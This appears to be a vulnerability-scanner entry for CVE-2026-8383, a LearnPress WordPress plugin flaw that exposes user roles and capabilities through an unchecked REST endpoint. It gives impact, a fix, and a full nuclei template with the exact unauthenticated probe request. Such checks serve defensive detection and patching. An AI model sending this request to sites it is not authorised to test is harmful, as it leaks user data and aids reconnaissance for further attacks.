LearnPress < 4.3.7 - Information Disclosure

mediumseverity

5.3CVSS score

7.6%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

LearnPress WordPress plugin < 4.3.7 contains an information disclosure vulnerability caused by missing capability checks on a REST endpoint, letting unauthenticated visitors retrieve sensitive user role and capability data via crafted requests.

Impact

Unauthenticated attackers can access sensitive user role and capability information, potentially aiding further attacks.

Fix

Update to version 4.3.7 or later.

How to confirm it

Send: GET /wp-json/learnpress/v1/users?context=edit
Positive when: status_code == 200 and contains_all(body, "\"roles\"", "\"capabilities\"", "registered_date")

Run it with nuclei: nuclei -id CVE-2026-8383 -u <target>

The full check

id: CVE-2026-8383

info:
  name: LearnPress < 4.3.7 - Information Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
    LearnPress WordPress plugin < 4.3.7 contains an information disclosure vulnerability caused by missing capability checks on a REST endpoint, letting unauthenticated visitors retrieve sensitive user role and capability data via crafted requests.
  impact: |
    Unauthenticated attackers can access sensitive user role and capability information, potentially aiding further attacks.
  remediation: |
    Update to version 4.3.7 or later.
  reference:
    - https://wpscan.com/vulnerability/b7cbf68b-62c5-4787-b84b-69df9e0122b2/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8383
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-8383
    epss-score: 0.07623
    epss-percentile: 0.94608
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: thimpress
    product: learnpress
    fofa-query: body="/wp-content/plugins/learnpress/"
    tags: cve,cve2026,wordpress,wp,wp-plugin,learnpress,disclosure,rest-api

http:
  - raw:
      - |
        GET /wp-json/learnpress/v1/users?context=edit HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"roles\"", "\"capabilities\"", "registered_date")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from